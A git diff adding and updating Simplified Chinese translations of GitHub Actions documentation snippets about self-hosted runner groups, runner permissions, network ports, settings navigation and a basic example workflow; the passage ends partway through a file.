a/translations/zh-CN/data/reusables/actions/self-hosted-runner-configure-runner-group-access.md b/translations/zh-CN/data/reusables/actions/self-hosted-runner-configure-runner-group-access.md new file mode 100644 index 0000000000..a009aa434e --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/self-hosted-runner-configure-runner-group-access.md @@ -0,0 +1,20 @@ +--- +ms.openlocfilehash: dc00a3a5d0f748619bab6a8597fec3ce79b36aa1 +ms.sourcegitcommit: 872c4751a3fc255671295a5dea6a2081c66b7b71 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 08/30/2022 +ms.locfileid: "145065871" +--- +{% data reusables.actions.self-hosted-runner-configure-runner-group %} +1. 修改策略选项。 + + {% ifversion not ghae %} {% warning %} + + **警告** + + {% indented_data_reference reusables.actions.self-hosted-runner-security spaces=3 %} + + 有关详细信息,请参阅[关于自承载运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)。 + + {% endwarning %} {% endif %} diff --git a/translations/zh-CN/data/reusables/actions/self-hosted-runner-configure-runner-group.md b/translations/zh-CN/data/reusables/actions/self-hosted-runner-configure-runner-group.md new file mode 100644 index 0000000000..547b1e52f1 --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/self-hosted-runner-configure-runner-group.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: be5e5183195b57d212bccef0f9053dea7fffcddf +ms.sourcegitcommit: fbc89bcee79c2cda1d3d6e99d5571873ca3b2686 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 08/31/2022 +ms.locfileid: "147061072" +--- +1. 在“设置”页的“运行器”部分,单击要配置的运行器组旁边的 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %},然后单击“编辑名称和 [组织|存储库] 访问权限”。 + ![管理存储库权限](/assets/images/help/settings/actions-runner-manage-permissions.png) diff --git a/translations/zh-CN/data/reusables/actions/self-hosted-runner-create-group.md b/translations/zh-CN/data/reusables/actions/self-hosted-runner-create-group.md new file mode 100644 index 0000000000..aff7075a83 --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/self-hosted-runner-create-group.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 774fc9c83ffce121ebc660f2169f08a99e0ce9c9 +ms.sourcegitcommit: 872c4751a3fc255671295a5dea6a2081c66b7b71 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 08/30/2022 +ms.locfileid: "145065867" +--- +1. 单击“{% ifversion ghec or ghes > 3.3 or ghae-issue-5091 %}创建{%- elsif ghes < 3.4 or ghae %}保存{% endif %}组”,创建组并应用策略。 diff --git a/translations/zh-CN/data/reusables/actions/self-hosted-runner-groups-add-to-enterprise-first-steps.md b/translations/zh-CN/data/reusables/actions/self-hosted-runner-groups-add-to-enterprise-first-steps.md new file mode 100644 index 0000000000..ac7462394a --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/self-hosted-runner-groups-add-to-enterprise-first-steps.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: dcb31ab7b27f6f3ebe89699a3a2e96dd1e78a5db +ms.sourcegitcommit: 872c4751a3fc255671295a5dea6a2081c66b7b71 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 08/30/2022 +ms.locfileid: "145065864" +--- +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {%- ifversion ghec or ghes > 3.3 or ghae-issue-5091 %} {% data reusables.enterprise-accounts.actions-runner-groups-tab %} +1. 单击“新建运行器组”。 +{%- elsif ghes < 3.4 or ghae %} {% data reusables.enterprise-accounts.actions-runners-tab %} +1. 使用“新增”下拉菜单,然后选择“新建组” 。 +{%- endif %} +1. 在“组名称”下,键入运行器组的名称。 diff --git a/translations/zh-CN/data/reusables/actions/self-hosted-runner-groups-navigate-to-repo-org-enterprise.md b/translations/zh-CN/data/reusables/actions/self-hosted-runner-groups-navigate-to-repo-org-enterprise.md new file mode 100644 index 0000000000..4dfe563681 --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/self-hosted-runner-groups-navigate-to-repo-org-enterprise.md @@ -0,0 +1,24 @@ +--- +ms.openlocfilehash: 31301d6de4160cc4a94b864a72232dd32cefd1cb +ms.sourcegitcommit: 872c4751a3fc255671295a5dea6a2081c66b7b71 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 08/30/2022 +ms.locfileid: "145084841" +--- +{% ifversion fpt %} +1. 导航到自托管运行器组所在的存储库或组织的主页。 +2. 单击{% octicon "gear" aria-label="The Settings gear" %}“设置”。 +{% data reusables.organizations.settings-sidebar-actions-runner-groups %} {% elsif ghec or ghes or ghae %} +1. 导航到自托管运行器组所在的位置: + * 在组织中:导航到主页并单击{% octicon "gear" aria-label="The Settings gear" %}“设置” 。 + * 如果使用的是企业级组: + +{% indented_data_reference reusables.enterprise-accounts.access-enterprise spaces=5 %} +2. 导航到“运行器组”设置: + * 在组织中: + +{% indented_data_reference reusables.actions.settings-ui.settings-actions-runner-groups spaces=5 %} + * 如果使用的是企业级组: + +{% indented_data_reference reusables.enterprise-accounts.policies-tab spaces=5 %} {% indented_data_reference reusables.enterprise-accounts.actions-tab spaces=5 %} {% indented_data_reference reusables.enterprise-accounts.actions-runner-groups-tab spaces=5 %} {% endif %} diff --git a/translations/zh-CN/data/reusables/actions/self-hosted-runner-management-permissions-required.md b/translations/zh-CN/data/reusables/actions/self-hosted-runner-management-permissions-required.md index 9c3f42102f..85d8a36e54 100644 --- a/translations/zh-CN/data/reusables/actions/self-hosted-runner-management-permissions-required.md +++ b/translations/zh-CN/data/reusables/actions/self-hosted-runner-management-permissions-required.md @@ -1,9 +1,17 @@ -A self-hosted runner can be located in either your repository, organization, or {% ifversion fpt or ghec %}enterprise account settings on {% data variables.product.prodname_dotcom %}{% elsif ghes or ghae %} enterprise settings on {% data variables.location.product_location %}{% endif %}. To manage a self-hosted runner, you must have the following permissions, depending on where the self-hosted runner was added: -- **User repository**: You must be the repository owner. -- **Organization**: You must be an organization owner. -- **Organization repository**: You must be an organization owner, or have admin access to the repository. +--- +ms.openlocfilehash: 324332325762999d6daaf4241ec0f9e291ce98a8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145065861" +--- +自托管运行器可位于存储库、组织或 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} 上的企业帐户设置{% elsif ghes or ghae %} {% data variables.product.product_location %} 上的企业设置{% endif %}中。 要管理自托管运行器,您必须拥有以下权限,具体取决于添加自托管运行器的位置: +- **用户存储库**:你必须是存储库所有者。 +- **组织**:你必须是组织所有者。 +- **组织存储库**:你必须是组织所有者,或者拥有对存储库的管理员访问权限。 {% ifversion ghec %} -- **Enterprise account**: You must be an enterprise owner. +- **企业帐户**:你必须是企业所有者。 {% elsif ghes or ghae %} -- **Enterprise**: You must be a {% data variables.product.prodname_enterprise %} site administrator. +- **企业**:你必须是 {% data variables.product.prodname_enterprise %} 站点管理员。 {% endif %} diff --git a/translations/zh-CN/data/reusables/actions/self-hosted-runner-networking-to-dotcom.md b/translations/zh-CN/data/reusables/actions/self-hosted-runner-networking-to-dotcom.md index a648712470..2ad9b4d51c 100644 --- a/translations/zh-CN/data/reusables/actions/self-hosted-runner-networking-to-dotcom.md +++ b/translations/zh-CN/data/reusables/actions/self-hosted-runner-networking-to-dotcom.md @@ -1 +1,9 @@ -To use actions from {% data variables.product.prodname_dotcom_the_website %},{% ifversion ghes %} both {% data variables.location.product_location %} and{% endif %} your self-hosted runners must be able to make outbound connections to {% data variables.product.prodname_dotcom_the_website %}. No inbound connections from {% data variables.product.prodname_dotcom_the_website %} are required. For more information. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#communication-betweens-self-hosted-runners-and-githubcom)." +--- +ms.openlocfilehash: f5a11de0003ae27a2b49233ad5ef8218423b50d2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147063936" +--- +若要使用 {% data variables.product.prodname_dotcom_the_website %} 中的操作,{% ifversion ghes %}{% data variables.product.product_location %} 和{% endif %}自托管运行器必须能够与 {% data variables.product.prodname_dotcom_the_website %} 建立出站连接。 不需要来自 {% data variables.product.prodname_dotcom_the_website %} 的入站连接。 有关详细信息, 有关详细信息,请参阅[关于自承载运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#communication-betweens-self-hosted-runners-and-githubcom)。 diff --git a/translations/zh-CN/data/reusables/actions/self-hosted-runner-ports-protocols.md b/translations/zh-CN/data/reusables/actions/self-hosted-runner-ports-protocols.md index 862638d843..f8dafa6872 100644 --- a/translations/zh-CN/data/reusables/actions/self-hosted-runner-ports-protocols.md +++ b/translations/zh-CN/data/reusables/actions/self-hosted-runner-ports-protocols.md @@ -1,3 +1,9 @@ -{% ifversion ghes or ghae %} -The connection between self-hosted runners and {% data variables.product.product_name %} is over {% ifversion ghes %}HTTP (port 80) or {% endif %}HTTPS (port 443). {% ifversion ghes %}To ensure connectivity over HTTPS, configure TLS for {% data variables.location.product_location %}. For more information, see "[Configuring TLS](/admin/configuration/configuring-network-settings/configuring-tls)."{% endif %} -{% endif %} +--- +ms.openlocfilehash: 51b563029cedae82f02da31a5d6473274efb8218 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145084827" +--- +{% ifversion ghes or ghae %} 自托管运行器和 {% data variables.product.product_name %} 通过 {% ifversion ghes %} HTTP(端口 80)或 {% endif %} HTTPS(端口 443)建立连接。 {% ifversion ghes %} 若要确保通过 HTTPS 进行连接,请为 {% data variables.product.product_location %} 配置 TLS。 有关详细信息,请参阅“[配置 TLS](/admin/configuration/configuring-network-settings/configuring-tls)”。{% endif %} {% endif %} diff --git a/translations/zh-CN/data/reusables/actions/settings-ui/settings-actions-general.md b/translations/zh-CN/data/reusables/actions/settings-ui/settings-actions-general.md index 85a4eb590c..1a085c4c1f 100644 --- a/translations/zh-CN/data/reusables/actions/settings-ui/settings-actions-general.md +++ b/translations/zh-CN/data/reusables/actions/settings-ui/settings-actions-general.md @@ -1,2 +1,10 @@ -{% comment %}This reusable is only to be used in other repo/org/enterprise setting reusables.{%- endcomment -%} -1. In the left sidebar, click {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}{% octicon "play" aria-label="The {% data variables.product.prodname_actions %} icon" %} **Actions**, then click **General**.{% else %}**Actions**.{% endif %} +--- +ms.openlocfilehash: 28a1c8a0d2e0c3ee4cdc01384ec374d26eafaa58 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881257" +--- +{% comment %}此可重用功能仅用于其他存储库/组织/企业设置可重用项。{%- endcomment -%} +1. 在左侧边栏中,单击 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %}{% octicon "play" aria-label="The {% data variables.product.prodname_actions %} icon" %}“操作”,然后单击“常规”。{% else %}“操作”。{% endif %} diff --git a/translations/zh-CN/data/reusables/actions/settings-ui/settings-actions-runner-groups.md b/translations/zh-CN/data/reusables/actions/settings-ui/settings-actions-runner-groups.md index 106c0b3176..eea2b572b0 100644 --- a/translations/zh-CN/data/reusables/actions/settings-ui/settings-actions-runner-groups.md +++ b/translations/zh-CN/data/reusables/actions/settings-ui/settings-actions-runner-groups.md @@ -1,5 +1,13 @@ -{% comment %}This reusable is only to be used in other repo/org/enterprise setting reusables.{%- endcomment -%} -1. In the left sidebar, click {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}{% octicon "play" aria-label="The {% data variables.product.prodname_actions %} icon" %} **Actions**, then click **Runner groups**.{% else %}**Actions**.{% ifversion ghes > 3.3 or ghae > 3.3 %} -1. In the left sidebar, under "Actions", click **Runner groups**. +--- +ms.openlocfilehash: 8329f603d09f84f7167b53f88d9580733086fb42 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147061288" +--- +{% comment %}此可重用功能仅用于其他存储库/组织/企业设置可重用处理。{%- endcomment -%} +1. 在左侧边栏中,单击 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %}{% octicon "play" aria-label="The {% data variables.product.prodname_actions %} icon" %}“操作”,然后单击“运行器组” 。{% else %}“操作”。{% ifversion ghes > 3.3 or ghae-issue-5091 %} +1. 在左侧边栏的“操作”下,单击“运行器组”。 {%- elsif ghes or ghae %} -1. In the left sidebar, under "Actions", click **Runners**.{% endif %}{% endif %} +1. 在左侧边栏的“操作”下,单击“运行器”。{% endif %}{% endif %} diff --git a/translations/zh-CN/data/reusables/actions/settings-ui/settings-actions-runners.md b/translations/zh-CN/data/reusables/actions/settings-ui/settings-actions-runners.md index e3cf5ed3cf..1bb753e1e0 100644 --- a/translations/zh-CN/data/reusables/actions/settings-ui/settings-actions-runners.md +++ b/translations/zh-CN/data/reusables/actions/settings-ui/settings-actions-runners.md @@ -1,3 +1,11 @@ -{% comment %}This reusable is only to be used in other repo/org/enterprise setting reusables.{%- endcomment -%} -1. In the left sidebar, click {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}{% octicon "play" aria-label="The {% data variables.product.prodname_actions %} icon" %} **Actions**, then click **Runners**.{% else %}**Actions**.{% ifversion ghes or ghae %} -1. In the left sidebar, under "Actions", click **Runners**.{% endif %}{% endif %} +--- +ms.openlocfilehash: dfdccdbe5c96cf63fc38b14cc164a98769ecded6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147065048" +--- +{% comment %}此可重用功能仅用于其他存储库/组织/企业设置可重用项。{%- endcomment -%} +1. 在左侧边栏中,单击 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %}{% octicon "play" aria-label="The {% data variables.product.prodname_actions %} icon" %}“操作”,然后单击“运行器”。{% else %}“操作”。{% ifversion ghes or ghae %} +1. 在左侧边栏的“操作”下,单击“运行器”。{% endif %}{% endif %} diff --git a/translations/zh-CN/data/reusables/actions/upgrade-runners-before-upgrade-ghes.md b/translations/zh-CN/data/reusables/actions/upgrade-runners-before-upgrade-ghes.md index 1290be8b1c..9256498794 100644 --- a/translations/zh-CN/data/reusables/actions/upgrade-runners-before-upgrade-ghes.md +++ b/translations/zh-CN/data/reusables/actions/upgrade-runners-before-upgrade-ghes.md @@ -1 +1,9 @@ -If you use ephemeral runners and have disabled automatic updates, before you upgrade {% data variables.location.product_location %}, you should first upgrade your self-hosted runners to the version of the runner application that your upgraded instance will run. Upgrading {% data variables.location.product_location %} before you upgrade ephemeral runners may result in your runners going offline. For more information, see "[Upgrading {% data variables.product.product_name %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)." +--- +ms.openlocfilehash: 48e8bec26155fe30e20642892cad797e869d69bc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147065040" +--- +如果使用临时运行器并禁用了自动更新,则在升级 {% data variables.product.product_location %} 之前,应首先将自托管运行器升级到升级后的实例将运行的运行器应用程序版本。 在升级临时运行器之前升级 {% data variables.product.product_location %} 可能会导致运行器脱机。 有关详细信息,请参阅“[升级 {% data variables.product.product_name %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)”。 diff --git a/translations/zh-CN/data/reusables/actions/workflow-basic-example-and-explanation.md b/translations/zh-CN/data/reusables/actions/workflow-basic-example-and-explanation.md index 1140778695..da0886005a 100644 --- a/translations/zh-CN/data/reusables/actions/workflow-basic-example-and-explanation.md +++ b/translations/zh-CN/data/reusables/actions/workflow-basic-example-and-explanation.md @@ -1,17 +1,22 @@ -## Create an example workflow +--- +ms.openlocfilehash: 53dbd22ad351ec7a1abc92107b366ecd8c71a3a9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147064536" +--- +## 创建示例工作流程 -{% data variables.product.prodname_actions %} uses YAML syntax to define the workflow. Each workflow is stored as a separate YAML file in your code repository, in a directory named `.github/workflows`. +{% data variables.product.prodname_actions %} 使用 YAML 语法来定义工作流程。 每个工作流都作为单独的 YAML 文件存储在代码存储库中名为 `.github/workflows` 的目录中。 -You can create an example workflow in your repository that automatically triggers a series of commands whenever code is pushed. In this workflow, {% data variables.product.prodname_actions %} checks out the pushed code, installs the [bats](https://www.npmjs.com/package/bats) testing framework, and runs a basic command to output the bats version: `bats -v`. +您可以在仓库中创建示例工作流程,只要推送代码,该工作流程就会自动触发一系列命令。 在此工作流中,{% data variables.product.prodname_actions %} 签出推送的代码,安装 [bats](https://www.npmjs.com/package/bats) 测试框架,并运行基本命令来输出 bats 版本:`bats -v`。 -1. In your repository, create the `.github/workflows/` directory to store your workflow files. -1. In the `.github/workflows/` directory, create a new file called `learn-github-actions.yml` and add the following code. +1. 在存储库中,创建 `.github/workflows/` 目录来存储工作流文件。 +1. 在 `.github/workflows/` 目录中,创建一个名为 `learn-github-actions.yml` 的新文件并添加以下代码。 - ```yaml{:copy} + ```yaml name: learn-github-actions - {%- ifversion actions-run-name %} - run-name: {% raw %}${{ github.actor }}{% endraw %} is learning GitHub Actions - {%- endif %} on: [push] jobs: check-bats-version: @@ -24,13 +29,13 @@ You can create an example workflow in your repository that automatically trigger - run: npm install -g bats - run: bats -v ``` -1. Commit these changes and push them to your {% data variables.product.prodname_dotcom %} repository. +1. 提交这些更改并将其推送到您的 {% data variables.product.prodname_dotcom %} 仓库。 -Your new {% data variables.product.prodname_actions %} workflow file is now installed in your repository and will run automatically each time someone pushes a change to the repository. To see the details about a workflow's execution history, see "[Viewing the activity for a workflow run](#viewing-the-activity-for-a-workflow-run)." +您的新 {% data variables.product.prodname_actions %} 工作流程文件现在安装在您的仓库中,每次有人推送更改到仓库时都会自动运行。 若要查看关于工作流执行历史记录的详细信息,请参阅“[查看工作流运行的活动](#viewing-the-activity-for-a-workflow-run)”。 -## Understanding the workflow file +## 了解工作流程文件 -To help you understand how YAML syntax is used to create a workflow file, this section explains each line of the introduction's example: +为帮助您了解如何使用 YAML 语法来创建工作流程文件,本节解释介绍示例的每一行: @@ -40,24 +45,10 @@ To help you understand how YAML syntax is used to create a workflow file, this s name: learn-github-actions ``` - -{%- ifversion actions-run-name %} - - - - -{%- endif %} @@ -77,7 +68,7 @@ Specifies the trigger for this workflow. This example uses the push ``` @@ -88,7 +79,7 @@ Specifies the trigger for this workflow. This example uses the push ``` @@ -99,7 +90,7 @@ Defines a job named check-bats-version. The child keys will define ``` @@ -110,7 +101,7 @@ Defines a job named check-bats-version. The child keys will define ``` @@ -121,7 +112,7 @@ Defines a job named check-bats-version. The child keys will define ``` @@ -134,7 +125,7 @@ The uses keyword specifies that this step will run v3 ``` @@ -145,7 +136,7 @@ The uses keyword specifies that this step will run v3 ``` @@ -156,34 +147,34 @@ The uses keyword specifies that this step will run v3 ```
- Optional - The name of the workflow as it will appear in the "Actions" tab of the {% data variables.product.prodname_dotcom %} repository. +可选 - 工作流的名称,它将显示在 {% data variables.product.prodname_dotcom %} 存储库的“操作”选项卡中。 +
- - ```yaml - run-name: {% raw %}${{ github.actor }}{% endraw %} is learning GitHub Actions - ``` - - - Optional - The name for workflow runs generated from the workflow, which will appear in the list of workflow runs on your repository's "Actions" tab. This example uses an expression with the `github` context to display the username of the actor that triggered the workflow run. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-syntax-for-github-actions#run-name)." -
@@ -66,7 +57,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s ``` -Specifies the trigger for this workflow. This example uses the push event, so a workflow run is triggered every time someone pushes a change to the repository or merges a pull request. This is triggered by a push to every branch; for examples of syntax that runs only on pushes to specific branches, paths, or tags, see "Workflow syntax for {% data variables.product.prodname_actions %}." +指定此工作流程的触发器。 此示例使用 push 事件,因此每当有人将更改推送到存储库或合并拉取请求时都会触发工作流运行。 这是由到每个分支的推送触发的;有关仅在推送到特定分支、路径或标记时运行的语法示例,请参阅“{% data variables.product.prodname_actions %} 的工作流语法”。
- Groups together all the jobs that run in the learn-github-actions workflow. +将 learn-github-actions 工作流中运行的所有作业组合在一起。
-Defines a job named check-bats-version. The child keys will define properties of the job. +定义一个名为 check-bats-version 作业。 子键将定义作业的属性。
- Configures the job to run on the latest version of an Ubuntu Linux runner. This means that the job will execute on a fresh virtual machine hosted by GitHub. For syntax examples using other runners, see "Workflow syntax for {% data variables.product.prodname_actions %}." +将作业配置为在最新版本的 Ubuntu Linux 运行器上运行。 这意味着该作业将在 GitHub 托管的新虚拟机上执行。 有关使用其他运行器的语法示例,请参阅“{% data variables.product.prodname_actions %} 的工作流语法”。
- Groups together all the steps that run in the check-bats-version job. Each item nested under this section is a separate action or shell script. +将在 check-bats-version 作业中运行的所有步骤组合在一起。 此部分下嵌套的每项都是一个单独的操作或 shell 脚本。
-The uses keyword specifies that this step will run v3 of the actions/checkout action. This is an action that checks out your repository onto the runner, allowing you to run scripts or other actions against your code (such as build and test tools). You should use the checkout action any time your workflow will run against the repository's code. +uses 关键字指定此步骤将运行 actions/checkout 操作的 v3。 这是一个将存储库签出到运行器上的操作,允许您对代码(如生成和测试工具)运行脚本或其他操作。 每当工作流程将针对存储库的代码运行时,都应使用签出操作。
- This step uses the {% data reusables.actions.action-setup-node %} action to install the specified version of the Node.js (this example uses v14). This puts both the node and npm commands in your PATH. +此步骤使用 {% data reusables.actions.action-setup-node %} 操作安装指定的 Node.js 版本(本示例使用 v14)。 这会将 nodenpm 命令都放在 PATH 中。
- The run keyword tells the job to execute a command on the runner. In this case, you are using npm to install the bats software testing package. +run 关键字指示作业在运行器上执行命令。 在这种情况下,你使用 npm 来安装 bats 软件测试包。
- Finally, you'll run the bats command with a parameter that outputs the software version. +最后,你将使用输出软件版本的参数运行 bats 命令。
-### Visualizing the workflow file +### 可视化工作流程文件 -In this diagram, you can see the workflow file you just created and how the {% data variables.product.prodname_actions %} components are organized in a hierarchy. Each step executes a single action or shell script. Steps 1 and 2 run actions, while steps 3 and 4 run shell scripts. To find more prebuilt actions for your workflows, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)." +在此关系图中,您可以看到刚刚创建的工作流程文件,以及 {% data variables.product.prodname_actions %} 组件在层次结构中的组织方式。 每个步骤执行单个操作或 shell 脚本。 步骤 1 和 2 运行操作,步骤 3 和 4 运行 shell 脚本。 若要为工作流查找更多预先创建的操作,请参阅“[查找和自定义操作](/actions/learn-github-actions/finding-and-customizing-actions)”。 -![Workflow overview](/assets/images/help/images/overview-actions-event.png) +![工作流概述](/assets/images/help/images/overview-actions-event.png) -## Viewing the activity for a workflow run +## 查看工作流运行的活动 -When your workflow is triggered, a _workflow run_ is created that executes the workflow. After a workflow run has started, you can see a visualization graph of the run's progress and view each step's activity on {% data variables.product.prodname_dotcom %}. +触发工作流时,将创建执行工作流的“工作流运行”。 工作流运行开始后,可以查看运行进度的可视化图表,并在 {% data variables.product.prodname_dotcom %} 上查看每个步骤的活动。 {% data reusables.repositories.navigate-to-repo %} -1. Under your repository name, click **Actions**. +1. 在你的存储库名称下,单击“操作”。 - ![Navigate to repository](/assets/images/help/images/learn-github-actions-repository.png) -1. In the left sidebar, click the workflow you want to see. + ![导航到仓库](/assets/images/help/images/learn-github-actions-repository.png) +1. 在左侧边栏中,单击您想要查看的工作流程。 - ![Screenshot of workflow results](/assets/images/help/images/learn-github-actions-workflow.png) -1. Under "Workflow runs", click the name of the run you want to see. + ![工作流程结果的屏幕截图](/assets/images/help/images/learn-github-actions-workflow.png) +1. 在“Workflow runs(工作流程运行)”下,单击您想要查看的运行的名称。 - ![Screenshot of workflow runs](/assets/images/help/images/learn-github-actions-run.png) -1. Under **Jobs** or in the visualization graph, click the job you want to see. + ![工作流程运行的屏幕截图](/assets/images/help/images/learn-github-actions-run.png) +1. 在“作业”或可视化图中,选择要查看的作业。 - ![Select job](/assets/images/help/images/overview-actions-result-navigate.png) -1. View the results of each step. + ![选择作业](/assets/images/help/images/overview-actions-result-navigate.png) +1. 查看每一步的结果。 - ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated-2.png) + ![工作流程运行详细信息的屏幕截图](/assets/images/help/images/overview-actions-result-updated-2.png) diff --git a/translations/zh-CN/data/reusables/actions/workflow-dispatch-inputs.md b/translations/zh-CN/data/reusables/actions/workflow-dispatch-inputs.md index e78790375f..95f2070ad5 100644 --- a/translations/zh-CN/data/reusables/actions/workflow-dispatch-inputs.md +++ b/translations/zh-CN/data/reusables/actions/workflow-dispatch-inputs.md @@ -1,6 +1,14 @@ -When using the `workflow_dispatch` event, you can optionally specify inputs that are passed to the workflow. +--- +ms.openlocfilehash: 6a71d461562c3d6e390549739ac1f17cb274f3f2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146199791" +--- +使用 `workflow_dispatch` 事件时,你可以选择性指定传递到工作流的输入。 -The triggered workflow receives the inputs in the {% ifversion actions-unified-inputs %}`inputs`{% else %}`github.event.inputs`{% endif %} context. For more information, see "[Contexts]({% ifversion actions-unified-inputs %}/actions/learn-github-actions/contexts#inputs-context{% else %}/actions/learn-github-actions/contexts#github-context{% endif %})." +触发的工作流在 {% ifversion actions-unified-inputs %}`inputs`{% else %}`github.event.inputs`{% endif %} 上下文中接收输入。 有关详细信息,请参阅“[上下文]({% ifversion actions-unified-inputs %}/actions/learn-github-actions/contexts#inputs-context{% else %}/actions/learn-github-actions/contexts#github-context{% endif %})。” {% data reusables.actions.inputs-vs-github-event-inputs %} @@ -11,7 +19,7 @@ on: logLevel: description: 'Log level' required: true - default: 'warning' {% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} + default: 'warning' {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5511 %} type: choice options: - info @@ -19,11 +27,11 @@ on: - debug {% endif %} print_tags: description: 'True to print to STDOUT' - required: true {% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} + required: true {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5511 %} type: boolean {% endif %} tags: description: 'Test scenario tags' - required: true {% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} + required: true {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5511 %} type: string environment: description: 'Environment to run tests against' diff --git a/translations/zh-CN/data/reusables/actions/workflow-template-overview.md b/translations/zh-CN/data/reusables/actions/workflow-template-overview.md index bc08e3019b..86b1416ce1 100644 --- a/translations/zh-CN/data/reusables/actions/workflow-template-overview.md +++ b/translations/zh-CN/data/reusables/actions/workflow-template-overview.md @@ -1,3 +1,11 @@ -{% data variables.product.prodname_dotcom %} provides preconfigured starter workflows that you can customize to create your own continuous integration workflow. {% data variables.product.product_name %} analyzes your code and shows you CI starter workflows that might be useful for your repository. For example, if your repository contains Node.js code, you'll see suggestions for Node.js projects. You can use starter workflows as a starting place to build your custom workflow or use them as-is. +--- +ms.openlocfilehash: 51d4b7e23640eafc3bd7830b4ce8f4b6d209f40f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145084823" +--- +{% data variables.product.prodname_dotcom %} 提供预配置的入门工作流,你可以自定义以创建自己的持续集成工作流。 {% data variables.product.product_name %} 分析代码并显示可能适用于你的存储库的 CI 入门工作流。 例如,如果仓库包含 Node.js 代码,您就会看到 Node.js 项目的建议。 你可以使用入门工作流作为基础来构建自定义工作流,或按原样使用模板。 -You can browse the full list of starter workflows in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows) repository{% else %} `actions/starter-workflows` repository on {% data variables.location.product_location %}{% endif %}. +可以在 {% data variables.product.product_location %}{% endif %} 上的 {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows) 存储库{% else %} `actions/starter-workflows` 存储库中浏览入门工作流的完整列表。 diff --git a/translations/zh-CN/data/reusables/advanced-security/about-committer-numbers-ghec-ghes.md b/translations/zh-CN/data/reusables/advanced-security/about-committer-numbers-ghec-ghes.md index 6f3376cb84..8df494a991 100644 --- a/translations/zh-CN/data/reusables/advanced-security/about-committer-numbers-ghec-ghes.md +++ b/translations/zh-CN/data/reusables/advanced-security/about-committer-numbers-ghec-ghes.md @@ -1,14 +1,22 @@ -We record and display two numbers of committers for {% data variables.product.prodname_GH_advanced_security %} on {% data variables.location.product_location %}: +--- +ms.openlocfilehash: 281a3a039c8a557c209e756d107ac1856a181017 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 